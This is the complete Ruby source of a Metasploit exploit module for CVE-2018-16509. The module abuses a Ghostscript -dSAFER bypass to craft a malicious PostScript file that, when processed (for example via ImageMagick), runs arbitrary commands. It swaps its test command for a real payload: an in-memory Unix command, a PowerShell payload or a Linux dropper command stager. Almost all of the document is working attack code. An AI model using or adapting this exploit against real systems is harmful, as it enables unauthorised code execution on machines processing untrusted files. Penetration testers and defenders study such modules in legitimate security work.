## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit Rank = ExcellentRanking PLACEHOLDER_STRING = 'metasploit' PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty' include Msf::Exploit::FILEFORMAT include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Ghostscript Failed Restore Command Execution', 'Description' => %q{ This module exploits a -dSAFER bypass in Ghostscript to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick. }, 'Author' => [ 'Tavis Ormandy', # Vuln discovery and exploit 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2018-16509'], ['URL', 'https://seclists.org/oss-sec/2018/q3/142'], ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640'] ], 'DisclosureDate' => '2018-08-21', 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux', 'win'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, 'Targets' => [ ['Unix (In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'Payload' => { 'Space' => 4089, # 4096 total 'DisableNops' => true } ], ['PowerShell (In-Memory)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :psh_memory ], ['Linux (Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper ] ], 'DefaultTarget' => 0, 'Notes' => { 'RelatedModules' => [ 'exploit/unix/fileformat/ghostscript_type_confusion', 'exploit/unix/fileformat/imagemagick_delegate' ] } )) register_options([ OptString.new('FILENAME', [true, 'Output file', 'msf.ps']) ]) register_advanced_options([ OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp']) ]) end def exploit sploit = template # Replace our placeholder string with a random one sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42)) # Replace our test payload with the real one case target['Type'] when :unix_memory sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded) when :psh_memory psh = cmd_psh_payload( payload.encoded, payload.arch.first, remove_comspec: true ) # XXX: Payload space applies to the payload, not the PSH command if psh.length > targets[0].payload_space fail_with(Failure::BadConfig, 'Please choose a smaller payload') end sploit.sub!(PLACEHOLDER_COMMAND, psh) when :linux_dropper cmdstager = generate_cmdstager( linemax: targets[0].payload_space, temp: datastore['WritableDir'] ).join(';') # XXX: Payload space applies to the payload, not the command stager if cmdstager.length > targets[0].payload_space fail_with(Failure::BadConfig, 'Please choose a smaller command stager') end sploit.sub!(PLACEHOLDER_COMMAND, cmdstager) end file_create(sploit) end def template File.read(File.join( Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps' )) end end